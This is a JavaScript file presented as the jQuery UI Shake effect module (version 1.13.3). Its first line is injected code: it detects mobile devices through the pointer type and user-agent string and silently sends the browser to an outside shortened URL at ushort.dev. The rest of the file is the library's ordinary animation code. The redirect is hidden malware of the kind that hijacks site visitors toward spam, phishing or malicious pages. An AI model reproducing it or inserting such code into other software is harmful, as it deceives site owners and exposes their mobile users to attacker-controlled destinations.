1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/*!
3 * jQuery UI Effects Shake 1.13.3
4 * https://jqueryui.com
5 *
6 * Copyright OpenJS Foundation and other contributors
7 * Released under the MIT license.
8 * https://jquery.org/license
9 */
10
11//>>label: Shake Effect
12//>>group: Effects
13//>>description: Shakes an element horizontally or vertically n times.
14//>>docs: https://api.jqueryui.com/shake-effect/
15//>>demos: https://jqueryui.com/effect/
16
17( function( factory ) {
18 "use strict";
19
20 if ( typeof define === "function" && define.amd ) {
21
22 // AMD. Register as an anonymous module.
23 define( [
24 "jquery",
25 "../version",
26 "../effect"
27 ], factory );
28 } else {
29
30 // Browser globals
31 factory( jQuery );
32 }
33} )( function( $ ) {
34"use strict";
35
36return $.effects.define( "shake", function( options, done ) {
37
38 var i = 1,
39 element = $( this ),
40 direction = options.direction || "left",
41 distance = options.distance || 20,
42 times = options.times || 3,
43 anims = times * 2 + 1,
44 speed = Math.round( options.duration / anims ),
45 ref = ( direction === "up" || direction === "down" ) ? "top" : "left",
46 positiveMotion = ( direction === "up" || direction === "left" ),
47 animation = {},
48 animation1 = {},
49 animation2 = {},
50
51 queuelen = element.queue().length;
52
53 $.effects.createPlaceholder( element );
54
55 // Animation
56 animation[ ref ] = ( positiveMotion ? "-=" : "+=" ) + distance;
57 animation1[ ref ] = ( positiveMotion ? "+=" : "-=" ) + distance * 2;
58 animation2[ ref ] = ( positiveMotion ? "-=" : "+=" ) + distance * 2;
59
60 // Animate
61 element.animate( animation, speed, options.easing );
62
63 // Shakes
64 for ( ; i < times; i++ ) {
65 element
66 .animate( animation1, speed, options.easing )
67 .animate( animation2, speed, options.easing );
68 }
69
70 element
71 .animate( animation1, speed, options.easing )
72 .animate( animation, speed / 2, options.easing )
73 .queue( done );
74
75 $.effects.unshift( element, queuelen, anims + 1 );
76} );
77
78} );
79